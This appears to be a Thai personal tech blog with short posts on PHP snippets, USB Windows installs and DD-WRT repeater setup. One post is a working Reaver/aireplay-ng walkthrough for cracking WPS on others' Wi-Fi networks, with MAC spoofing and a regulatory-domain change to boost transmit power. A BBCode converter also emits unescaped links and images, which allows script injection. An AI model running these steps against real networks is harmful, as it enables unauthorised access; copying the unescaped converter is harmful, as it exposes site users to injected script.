วันอาทิตย์ที่ 15 ธันวาคม พ.ศ. 2556

php เพิ่มวัน - เดือน - ปี ในการแสดงผล

บวกวันเพิ่ม
  1. $datedate = date ("Y-m-d", strtotime("+1 day", strtotime($date)));
บวกเดือนเพิ่ม
  1. $datedate = date ("Y-m-d", strtotime("+1 month", strtotime($date)));
บวกปีเพิ่ม
  1. $datedate = date ("Y-m-d", strtotime("+1 year", strtotime($date)));  
<?php
echo date('Y-m-d', strtotime('+1 month'))."";
echo date('Y-m-d',strtotime("now"))."
"
;
echo date('Y-m-d',strtotime("10 September 2000"))."
"
;
echo date('Y-m-d',strtotime("+1 day"))."
"
;
echo date('Y-m-d',strtotime("+1 week"))."
"
;
echo date('Y-m-d',strtotime("+1 week 2 days 4 hours 2 seconds"))."
"
;
echo date('Y-m-d',strtotime("next Thursday"))."
"
;
echo date('Y-m-d',strtotime("last Monday"))."
"
;
echo date("Y-m-d H:i:s", mktime(date("H"), date("i")+0, date("s")+0, date("m")+0 , date("d")+0, date("Y")+0))."
"
;
?>
<?php
echo date('Y-m-d',strtotime('+1 month'))."<br>";
echo date('Y-m-d',strtotime("now"))."<br>";
echo date('Y-m-d',strtotime("10 September 2000"))."<br>";
echo date('Y-m-d',strtotime("+1 day"))."<br>";
echo date('Y-m-d',strtotime("+1 week"))."<br>";
echo date('Y-m-d',strtotime("+1 week 2 days 4 hours 2 seconds"))."<br>";
echo date('Y-m-d',strtotime("next Thursday"))."<br>";
echo date('Y-m-d',strtotime("last Monday"))."<br>";
echo date("Y-m-d H:i:s", mktime(date("H"), date("i")+0, date("s")+0, date("m")+0  , date("d")+0, date("Y")+0))."<br>";
?>

วันพฤหัสบดีที่ 17 ตุลาคม พ.ศ. 2556

Reaver Pro Fix Warning: Failed to associate

1.
enable mon0 
airmon-ng start wlan0

Check for the wps enabled wpa wifi (this can also be done with wifite.py)
#wash -i mon0 -C

set your channel to the same AP in whiich you are interested 
#iwconfig mon0 channel <channel of AP eg. 11>

start aireplay 
#aireplay-ng mon0 -1 120 -a <MAC of AP> -e <AP name>

start reaver 
#reaver -i mon0 -A -b <MAC of AP> -v


2.
Re: reaver "associate" problem
« Reply #9 on: September 28, 2012, 12:50:21 AM »

Some association fixes i've tried that have worked for me:

of course do yer scan
we'll call yer alfa wlan1

airmon-ng start wlan1
airodump-ng mon0
ya do yer scan find yer target etc
from terminal open split window
ctrl+shift+o
click on previous window then
ctrl+c to stop it or space bar to pause
back down to lower window
airodump-ng --bssid (target) -c (whatever channel) mon0
ctrl+shift+o split yer window
aireplay-ng - 1 10 -a (target) mon0
now she's associaten
doesn't mean things are gonna work
but worth a try
now open yet another window in terminal
ctrl+shift+0
reaver -i mon0 -A -b (target) -v
see if ya get wps comen in
if not another idea
when you ran airodump on the target before
if there is a station on that network
copy the mac down of that station
then shut down airmon
airmon-ng wlan1 stop
ifconfig wlan1 down
ifconfig wlan1 hw ether (station mac)
ifconfig wlan1 up
airmon-ng wlan1 start
then do yer aireplay
associate
then run reaver again with the -A in there
so reaver doesn't associate
you can also try boosting the alfa:
before monitor mode:
Boost Alfa:
before monitor mode
iw reg set BO
iwconfig wlan1 txpower 30

might want to try txpower 25 first
check make sure card isn't too warm
after a bit

วันพฤหัสบดีที่ 26 กันยายน พ.ศ. 2556

การติดตั้งWindowด้วยFlashDrive

บทความทางวิชาการ  ll การติดตั้งWindowด้วยFlashDrive

การติดตั้ง Window Xp หรือ Window7 โดยใช้ FlashDrive
         เนื่องจากปัจจุบันเครื่องอ่าน DVD หรือ CDRom Drive มีคุณภาพต่ำอายุการใช้งานน้อยหรือพวก NetBook ที่ไม่มี CDRom Drive ทำให้การติดตั้ง ระบบปฏิบัติการให้เครื่องคอมพิวเตอร์ต้องใช้วิธีอื่น เพื่อหลีกเลี่ยงปัญหาการใช้ Drive DVDหรือ CDRom จึงหลีกเลี่ยงมาติดตั้งผ่านFlashDrive แทนเนื่องจากเมนท์บอร์ดในปัจจุบันสามารถ Boot ด้วย Usb ได้ การติดตั้งจึงมีขั้นตอนดังนี้
สภาพแวดล้อมในการสร้าง FlashDrive Boot ลง window
          
 - นำแผ่น Cd โปรแกรม Window ใส่ใน CdRom Drive รอไว้
 - เสียบตัว FlashDrive ที่จะสร้างในช่อง USB ของเครื่องคอมพิวเตอร์
1. สร้างFlashDrive ที่สามารถบูทระบบได้
2. ก็อปปี้โปรแกรม Window ลง FlashDrive
3. ใช้ FlashDrive Boot ระบบแล้วลง WindowXp หรือ Window7



ในการทดลองใช้ Window Xp Servicepack3
วิธีการปฏิบัติทำดังนี้
1. ทำการ Download Program มาไว้ในเครื่องคอมพิวเตอร์ที่จะสร้าง FlashDrive Boot DOWNLOAD>>>>>>
2. แตกไฟร์ที่ Download
3. เข้าไปในโฟลเดอร์ WinSetup-1-0-beta6 เพื่อเลือกคำสั่ง Setup
 

4.เลือกคำสั่ง WinsetupFromUSB-1-0-beta6 เพื่อทำการฟอร์แมท FlashDrive
5. เมื่อสั่ง Setup จะเข้าสู่การ Setup FlashDrive โดยสังเกตจากภาพจะเป็นรุ่นของ FlashDrivem ที่เราเสียบรออยู่ที่เครื่องคอมพิวเตอร์ เสร็จแล้วเลือกที่เมนู RMPrepUSB และสั่ง Go ที่ด้านล่างของหน้าต่างโปรแกรม
 
6. เมื่อสั่ง GO แล้วรอสักครู่จะขึ้นหน้าต่าง RMPREPUSB v.2.0.731 ให้ทำการเลือกการปรับค่าการฟอร์แมทตามรุ่นของ Window ที่จะทำการติดตั้งตามตัวอย่างเลือก Win XP >> FAT32 >>Boot as HDD >> 6 PrepareDrive
 
7. โปรแกรมจะเริ่มฟอร์แมท FlashDrive >> เลือก OK
8. เมื่อเลือก OK จะฟอร์แมททันทีรอสักครู่จนเสร็จ
 
9. เมื่อเสร็จแล้วโปรแกรมจะกลับมาหน้าเก่า RMPREPUSB v.2.0.731 ให้ทำการปิดหน้าต่างนี้
 
10. เมื่อปิดหน้าต่างเก่าแล้วให้กลับไปที่โปรแกรมเริ่มต้นใหม่ เลือกคำสั่ง WinsetupFromUSB-1-0-beta6 เพื่อทำการ
ฟอร์แมท FlashDrive
เลือกwindow xp และ Browse หาแผ่น Window
 
11. เลือกชนิดของ Window ที่เราจะทำการ Copy ลง FlashDrive ในการทดลองนี้ใช้ Window XP Servicepack 3 ซึ่งแผ่นรออยู่ใน Cdrom Drive เรียบร้อยแล้ว เลือกช่อง แรก และไปค้นหาFile ในแผ่นวินโดว์ตามภาพ
 
11.เลือก ไดร์ D ซึ่งเป็นแผ่น CD windowXP
 
12. เลือก GO แล้วรอสักครู่เครื่องคอมพิวเตอร์จะเริ่ม copy ไฟร์ในแผ่นโปรแกรม Window ลง FlashDrive ซึ่งใช้เวลานานพอสมควร
 
13. เมื่อ copy เสร็จ เลือก OK
 
ขั้นตอนการทดลองติดตั้ง Window XP ด้วย FlashDrive
1.       ทำการเซ็ท Bios ให้เครื่องคอมพิวเตอร์บูทด้วย usb โดยเลือกที่เมนู Boot และไปตั้งค่าที่ Hard Disk Drives เป็น USB เป็นลำดับที่ 1  
หมายเหตุ ต้องเสียบ FlashDrive รอไว้ก่อน
 
เลือก USB เป็นไดร์ที่ 1
2.       เมื่อปรับตั้งให้คอมพิวเตอร์บูทด้วย usb เป็นลำดับแรกเสร็จแล้วให้ทำการ Reboot เครื่องใหม่
เครื่องคอมพิวเตอร์จะเริ่มบูทและเข้าสู่การติดตั้งดังภาพให้เลือก Windows XP/2000/2003 setup เสร็จแล้วรอสักครู่จะเข้าสู่ Window Setup
เข้าสู่การติดตั้ง Window
ตัวอย่างไฟร์ที่อยู่ใน FlashDrive หลังจากที่ได้ทำการ Fomat และ Copy เสร็จแล้ว
                                                                 
                             เขียนและทดสอบ    

 สุรศักดิ์ สุนทร       

วันอังคารที่ 6 สิงหาคม พ.ศ. 2556

กรณี PHP Warning: session_register()

  1. กรณี PHP ฟ้อง
    Warning: session_register() [function.session-register]: Cannot send session cache limiter - headers already sent .....

    วิธีการแก้ไข
    - แก้ที่ไฟล์ php.ini  บรรทัด seesion.auto = 1 (ปกติ 0)

วันอังคารที่ 30 กรกฎาคม พ.ศ. 2556

การทำ Repeater Mode บน Linksys WRT54G

การ Config อุปกรณ์ Linksys WRT54GL ให้เป็น Mode Repeater




สวัสดีครับ

หัวข้อนี้ผมจะอธิบายวิธีการ Config อุปกรณ์ Linksys WRT54GL ให้เป็น Repeater Mode เพื่อนำสัญญาณ Wireless ที่มันอ่อนๆมากระจายต่อครับ


อะไรคือ Repeater

มันจะคล้ายๆกับปั๊มน้ำในบ้านครับ เราใช้ห้องน้ำที่ชั้น 2 แล้วมันไหลเอื่อยๆ เราก็ใช้เครื่องปั๊มน้ำเพิ่มแรงดันเข้าไปเลย หลักการคล้ายๆกันครับ WRT54GL จะ Copy ข้อมูลแล้วก็กระจายต่อ แต่ทีนี้ จุดที่ตั้งอุปกรณ์ Linksys WRT54GL จะต้องมีสัญญาณจากตัวส่งด้วยนะครับ ถ้าไม่มีมันก็ copy ข้อมูลเพื่อมากระจายต่อไม่ได้

ขั้นตอนมีดังนี้ครับ

1.ต่ออุปกรณ์ Linksys WRT54GL ที่ Upgrade Firmware เป็น DD-WRT เข้ากับเครื่อง Computer




2.เข้า Internet Explorer ด้วย 192.168.1.1 แล้วไปที่หน้า Wireless





3.เลือก Wireless Mode = Repeater จากนั้น Click ปุ่ม Add จะเป็นการเพิ่ม Virtual Interfaces มาอีกอัน ในส่วน wl0 จะเป็นชื่อสัญญาณ Wireless ที่เราต้องการนำมา Repeater และ wl1 คือสัญญาณ Wireless ที่เราจะเอาไปปล่อยต่อ Click [Apply Settings] และ Click [Save]



4.ในกรณีที่ wl0 มีการ Set Key เอาไว้ ให้นำไป set ในหน้า Wireless --> Wireless Security ให้ตรงกันครับ หรือถ้าเราต้องการใส่ Security สัญญาณ Wireless ที่เราจะปล่อยต่อ ก็ให้ Set ที่ wl1 เช่นกัน





5.Disable SPI Firewall ที่หน้า Security



6.แก้ IP ของ ตัว Router ให้เป็น 10.0.0.1 Click [Apply] และก็ Click [Save]



7.ถ้าให้ชัวร์ ดึงปลั๊ก Router ออกทิ้งไว้ซัก 5 วินาที หรือทำการ Release และ Renew IP ที่เครื่องคอมใหม่ครับ
8.เข้า IE ใช้ URL ใหม่คือ 10.0.0.1 ถ้าไม่มีปัญหาอะไร Set ถูกต้อง จะมี WAN IP โผล่ขึ้นมาครับ





9.ลอง Ping เข้า google จะต้องใช้ได้ครับ





เสร็จพิธีครับ

วันจันทร์ที่ 29 เมษายน พ.ศ. 2556

การเขียน Array เที่ยบค่าเพื่อแสดงผล



$mydam = 1; //หมายถึงค่าที่ถูก Post มาจาก Form  $_POST['mydam'];
$damx = array("เขื่อนภูมิพล", "เขื่อนสิริกิติ์", "เขื่อนศรีนครินทร์", "เขื่อนท่าทุ่งนา", "เขื่อนวชิราลงกรณ", "เขื่อนรัชชประภา", "เขื่อนบางลาง", "เขื่อนแก่งกระจาน", "เขื่อนอุบลรัตน์", "เขื่อนสิรินธร", "เขื่อนจุฬาภรณ์", "เขื่อนปากมูล", "เขื่อนน้ำพุง", "เขื่อนห้วยกุ่ม", "โรงไฟฟ้าลำตะคอง", "เขื่อนแม่งัด", "โรงไฟฟ้าบ้านขุนกลาง", "โรงไฟฟ้าบ้านยาง", "โรงไฟฟ้าห้วยกุยมั่ง", "","โรงไฟฟ้าบ้านสันติ"); //กำหนด ค่าของ Array โดย Array จะเริ่มต้นที่ 0

$myd =round($mydam)-1;  //ค่าที่ส่งมาต้อง - 1 กรณีที่ค่าที่ Post มาเริ่มต้นที่ 1 //round กำหนดให้เป็นตัวเลขจำนวนเต็ม
$mydam1 =$damx[$myd]; // กำหนดให้เที่ยบค่าที่ Post มากับที่ Array ที่กำหนดไว้

ผลลัพธ์ 
          echo $mydam1  ;  // คำตอบคือ เขื่อนภูมิพล

PHP Function BBCode2HTML

<?php
// function to convert bbcode, and smiles to html
function bbcodeHtml($str) {
  // delete 'http://' because will be added when convert the code
  $str = str_replace('[url=http://', '[url=', $str);
  $str = str_replace('[url]http://', '[url]', $str);

  // Array with RegExp to recognize the code that must be converted
  $bbcode_smiles = array(
    // RegExp for [b]...[/b], [i]...[/i], [u]...[/u], [block]...[/block], [color=code]...[/color], [br]
    '/\[b\](.*?)\[\/b\]/is',
    '/\[i\](.*?)\[\/i\]/is',
    '/\[u\](.*?)\[\/u\]/is',
    '/\[block\](.*?)\[\/block\]/is',
    '/\[color=(.*?)\](.*?)\[\/color\]/is',
    '/\[br\]/is',

    // RegExp for [url=link_address]..link_name..[/url], or [url]..link_address..[/url]
    '/\[url\=(.*?)\](.*?)\[\/url\]/is',
    '/\[url\](.*?)\[\/url\]/is',

    // RegExp for [img=image_address]..image_title[/img], or [img]..image_address..[/img]
    '/\[img\=(.*?)\](.*?)\[\/img\]/is',
    '/\[img\](.*?)\[\/img\]/is',

    // RegExp for sets of characters for smiles: :), :(, :P, :P, ...
    '/:\)/i', '/:\(/i', '/:P/i', '/:S/i', '/:O/i', '/=D\>/i', '/\>:D\</i', '/:D/i', '/:-\*/i'
  );

  // Array with HTML that will replace the bbcode tags, defined inthe same order
  $html_tags = array(
    // <b>...</b>, <i>...</i>, <u>...</u>, <blockquote>...</blockquote>, <span>...</span>, <br/>
    '<b>$1</b>',
    '<i>$1</i>',
    '<u>$1</u>',
    '<blockquote>$1</blockquote>',
    '<span style="color:$1;">$2</span>',
    '<br/>',

    // a href...>...</a>, and <img />
    '<a target="_blank" href="http://$1">$2</a>',
    '<a target="_blank" href="http://$1">$1</a>',
    '<img src="$1" alt="$2" />',
    '<img src="$1" alt="$1" />',

    // The HTML to replace smiles. Here you must add the address of the images with smiles
    '<img src="icos/1.gif" alt=":)" border="0" />',
    '<img src="icos/2.gif" alt=":(" border="0" />',
    '<img src="icos/3.gif" alt=":P" border="0" />',
    '<img src="icos/4.gif" alt=":S" border="0" />',
    '<img src="icos/5.gif" alt=":O" border="0" />',
    '<img src="icos/6.gif" alt="=D&gt;" border="0" />',
    '<img src="icos/7.gif" alt="&gt;: D&lt;" border="0" />',
    '<img src="icos/8.gif" alt=": D" border="0" />',
    '<img src="icos/9.gif" alt=":-*" border="0" />'
  );

  // replace the bbcode
  $str = preg_replace($bbcode_smiles, $html_tags, $str);

  return $str;
}

// Test
$str = 'Test [b]PHP tutorials[/b].[br]
[i][color=blue]Blue, and oblique string[/color][/i], underlined: [u]BBCODE tags[/u][br]
Link: [url=http://coursesweb.net/php-mysql/]PHP Course[/url], smiles: =D>, :), >:D< ...
[block]Text added in "block", for blockquote[/block]
An image: [img=http://coursesweb.net/imgs/webcourses.gif]Course Web[/img]';

echo bbcodeHtml($str);
?>

วันอาทิตย์ที่ 28 เมษายน พ.ศ. 2556

Chartdirector แสดงผลภาษาไทย

Chartdirector
แสดงผลภาษาไทย กรณีที่หน้า Webpage Encode UTF-8 จะไม่มีปัญหาในการแสดงผล
แต่ถ้าเลือกเป็น Windows-874 หรือ TIS-620 จะมีปัญหาในการแสดงกราฟ
วิธีแก้
ใช้
         ICONV('TIS-620','UTF-8',$ตัวแปร)

ตัวอย่าง
$labelsObj = $c->xAxis->setLabels($labels);
$labelsObj->setFontAngle(0);
$labelsObj->setFontColor(0X0000ff );
$labelsObj->setFontStyle("tahoma.ttf", 6);
$title1 =   iconv('TIS-620','UTF-8',"ข้อมูล".$captions);
$c->xAxis2->setTitle($title1, "tahoma.ttf", 18,0X0000ff);
if($chart_type == "line"){
$layer = $c->addLineLayer2();
$layer1 = $c->addLineLayer2();
$layer2 = $c->addLineLayer2();
#Set the default line width to 2 pixels
$layer1->setLineWidth(1);
$layer->setLineWidth(3);
$layer2->setLineWidth(3);
$c->xAxis->setWidth(1);
$dataSetObj = $layer->addDataSet($data1, 0x0000c0, iconv( 'TIS-620','UTF-8',"ข้อมูลปี ".$end_year));
$dataSetObj->setDataSymbol(CircleSymbol, 9, 0xffff00);
$dataSetObj2 = $layer2->addDataSet($data2, $c->dashLineColor(0x00FF00, DashLine),iconv( 'TIS-620','UTF-8',"เทียบกับการใช้ ปี ".($start_year)));
$dataSetObj2->setDataSymbol(CircleSymbol, 8, 0x99FFCC);
$c->addAreaLayer($data3, $c->gradientColor(0, 2000, 00, 5000, 0xFFCCCC, 0xFF3333),iconv( 'TIS-620','UTF-8',"เทียบกับการใช้ ปี ".($start_year)."ลดลงอีก ".$p_energy ."%"));

** ใช้ ICONV() ถ้าใช้ WINDOWS-874 ไม่ต้องเปลี่ยนให้ใช้ TIS-620 อันเดียวเลย

วันพฤหัสบดีที่ 28 มีนาคม พ.ศ. 2556

หาจำนวนวัน ในเดือน ของปีใด ๆ


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
</head>

<body>
<form id="form1" name="form1" method="post" action="">
  A
  <input name="a" type="text" id="a" />
  B
  <input name="b" type="text" id="b" />
  C
  <input name="c" type="text" id="c" />
  <input type="submit" name="Submit" value="Submit" />
</form>
<?
function get_days_in_month($month, $year)
{
   return $month == 2 ? ($year % 4 ? 28 : ($year % 100 ? 29 : ($year %400 ? 28 : 29))) : (($month - 1) % 7 % 2 ? 30 : 31);
}
$myyear = date('Y');
echo get_days_in_month(2, $myyear);
?>
</body>
</html>